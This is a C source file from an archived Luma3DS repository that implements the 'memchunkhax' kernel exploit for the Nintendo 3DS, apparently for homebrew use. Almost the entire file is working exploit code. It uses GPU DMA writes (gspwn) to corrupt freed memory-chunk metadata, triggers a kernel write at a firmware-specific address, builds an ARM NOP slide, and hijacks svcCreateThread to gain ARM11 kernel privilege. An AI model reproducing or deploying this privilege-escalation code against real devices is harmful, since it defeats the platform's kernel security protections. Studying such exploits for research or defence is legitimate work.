This repository has been archived on 2022-05-31. You can view files and clone it, but cannot push or open issues or pull requests.
Luma3DS-3GX/mset/source/memchunkhax.c
2015-08-04 21:57:37 -04:00

113 lines
3.6 KiB
C

#include "memchunkhax.h"
#include <stddef.h>
#include <stdint.h>
#include "firmcompat.h"
#include "appcompat.h"
void gspwn_copy(void *dest, void *src, uint32_t length, int check, int check_offset)
{
// We'll use some memory to check the copy is being done right.
void *check_mem = (void *)APP_CHECK_MEM;
int *check_loc = (int *)(check_mem + check_offset);
while(*check_loc != check) {
app->memcpy(check_mem, check_mem, 0x10000);
app->GSPGPU_FlushDataCache(src, length);
uint32_t arr1[] = {4, (uint32_t)src, (uint32_t)dest, length,
0xFFFFFFFF, 0xFFFFFFFF, 8, 0};
app->nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue((void *)app->gpuHandle, arr1);
app->GSPGPU_FlushDataCache(check_mem, 0x10);
uint32_t arr2[] = {4, (uint32_t)dest, (uint32_t)check_mem, 0x10,
0xFFFFFFFF, 0xFFFFFFFF, 8, 0};
app->nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue((void *)app->gpuHandle, arr2);
app->memcpy(check_mem, check_mem, 0x10000);
}
}
#if defined(ENTRY_MSET)
void build_nop_slide(uint32_t *dest, unsigned int len)
{
unsigned int i;
for (i = 0; i < len; i++) {
dest[i] = 0xE1A00000; // ARM instruction: nop
}
dest[i - 1] = 0xE12FFF1E; // ARM instruction: bx lr
}
#endif
__attribute__((naked))
void corrupted_svcCreateThread(__attribute__((unused)) void (*func)())
{
__asm__ volatile ("svc 8");
}
void memchunk_arm11hax(void (*func)())
{
// I need some memory locations to use
uint32_t *mem_hax_mem = (uint32_t *)APP_MEM_HAX_MEM;
uint32_t *mem_hax_mem_free = (uint32_t *)((uint32_t)mem_hax_mem + 0x1000);
// There's not much documentation on this code.
// I've never studied the logic of it, so I can't describe it in more detail.
// Free some random chunk of memory
uint32_t tmp_addr;
app->svcControlMemory(&tmp_addr, mem_hax_mem_free, NULL, 0x1000, 1 /* MEMOP_FREE */, 0);
// arm11_buffer is the location that is copied *from* when using gspwn_copy
uint32_t *arm11_buffer = (uint32_t *)APP_ARM11_BUFFER;
arm11_buffer[0] = 1;
arm11_buffer[1] = fw->kernel_patch_address;
arm11_buffer[2] = 0;
arm11_buffer[3] = 0;
// Copy the arm11_buffer to the freed memory with gspwn
gspwn_copy(mem_hax_mem_free, arm11_buffer, 0x10, fw->kernel_patch_address, 4);
// Trigger kernel write
app->svcControlMemory(&tmp_addr, mem_hax_mem, NULL, 0x1000, 1 /* MEMOP_FREE */, 0);
// Tricks to clear the instruction cache
#if defined(ENTRY_MSET)
int slide_len = 0x1000;
// Build a NOP slide
build_nop_slide(arm11_buffer, slide_len);
// Copy the NOP slide
uint32_t app_code_offset = 0;
uint32_t kernel_version = *(uint32_t *)0x1FF80000;
if(kernel_version < 0x02230600) { // firm 4.x
app_code_offset = 0x03E6D000;
}
else { // > firm 4.x
app_code_offset = 0x7B00000;
}
gspwn_copy((void *)(0x14000000 + app_code_offset + 0x4000), arm11_buffer,
slide_len * 4, 0xE1A00000, 0);
// Run the NOP slide
((void (*)())0x104000)();
#elif defined(ENTRY_SPIDER)
// Fills the bottom buffer with a random pattern
void *src = (void *)0x18000000;
for (int i = 0; i < 3; i++) { // Do it 3 times to be safe
app->GSPGPU_FlushDataCache(src, 0x00038400);
app->GX_SetTextureCopy(src, (void *)0x1F48F000, 0x00038400, 0, 0, 0, 0, 8);
app->svcSleepThread(0x400000LL);
app->GSPGPU_FlushDataCache(src, 0x00038400);
app->GX_SetTextureCopy(src, (void *)0x1F4C7800, 0x00038400, 0, 0, 0, 0, 8);
app->svcSleepThread(0x400000LL);
}
#endif
// Get into arm11
corrupted_svcCreateThread(func);
}